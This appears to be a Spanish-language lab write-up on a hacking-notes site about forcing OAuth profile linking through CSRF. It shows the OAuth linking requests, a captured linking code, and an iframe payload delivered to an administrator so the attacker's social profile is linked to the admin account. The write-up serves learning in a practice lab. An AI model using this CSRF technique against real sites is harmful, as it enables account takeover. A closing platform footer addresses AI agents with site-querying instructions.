> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/forced-oauth-profile-linking.md).

# Vinculación forzada de perfil OAuth

### Vinculación forzada del perfil OAuth

**Descripción del laboratorio**

Este laboratorio ofrece una funcionalidad para vincular un perfil de una red social a una cuenta de usuario para conectarse mediante OAuth en lugar de usar la autenticación tradicional. / Debido a una implementación insegura del flujo OAuth del lado del cliente, un atacante puede desviar este mecanismo para asociar su propio perfil social con la cuenta de otro usuario.

Objetivo:/ Realiza un ataque CSRF para vincular tu perfil de red social a la cuenta del administrador del sitio, luego accede al panel de administración y elimina al usuario **carlos**.

Restricciones :

* El administrador abre sistemáticamente cualquier contenido enviado desde el servidor de operaciones.
* El administrador siempre tiene una sesión activa en el sitio del blog.

**Cuentas disponibles**

* Cuenta del sitio: `wiener / peter`
* Perfil de red social: `peter.wiener / hotdog`

<figure><img src="/files/c958aafd1e2df25887d0e85e54473a63c17fc5ff" alt=""><figcaption></figcaption></figure>

**Análisis del mecanismo OAuth**

* El sitio permite una conexión clásica mediante nombre de usuario y contraseña.

<figure><img src="/files/6ce0543b29f72c7e21bb6bee4b216fc0ee054607" alt=""><figcaption></figcaption></figure>

También está disponible una conexión mediante OAuth (red social).

<figure><img src="/files/96d44cfb764466c28328971c78fecd79a732c8a8" alt=""><figcaption></figcaption></figure>

* Un usuario existente puede vincular un perfil de red social a su cuenta.

Durante la vinculación, se envía una solicitud OAuth al punto de autenticación:

{% code overflow="wrap" %}

```http
GET /auth?client_id=s4z8vs36ubaet908r8qfn&redirect_uri=https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Después de la autenticación, el usuario es redirigido a una URL que contiene un código OAuth:

```http
GET /oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q HTTP/2
```

Este código:

* Es de un solo uso
* Para vincular el perfil OAuth a la cuenta autenticada actualmente

<figure><img src="/files/e8017cf9eec9694f83e6fc14548cf3cd5ffe4620" alt=""><figcaption></figcaption></figure>

**Explotación de la vulnerabilidad**

1. Inicia el procedimiento de vinculación entre tu cuenta y tu perfil de red social.
2. Intercepta y copia la `/OAuth-linking?code=...` URL.

<figure><img src="/files/b22c53247344bf2299ac9d71dca42ad71bd9b258" alt=""><figcaption></figcaption></figure>

Descarta la solicitud para que el código no se consuma.

Desde el servidor de operaciones, envía esta URL al administrador mediante un ataque CSRF, por ejemplo usando un iframe

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q"></iframe>
```

{% endcode %}

El administrador carga la página:

<figure><img src="/files/81e0f0824a72f261531fefda3eb1baac88534503" alt=""><figcaption></figcaption></figure>

El código OAuth es consumido

<figure><img src="/files/e7fc9e5f64c95cc10ef13f8bee60fb58122cff0c" alt=""><figcaption></figcaption></figure>

El perfil OAuth del atacante se vincula a la cuenta del administrador

<figure><img src="/files/f5c0f7b77f9714ab6a2d236b0ee1c4438ed41df3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/oauth-authentication/forced-oauth-profile-linking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
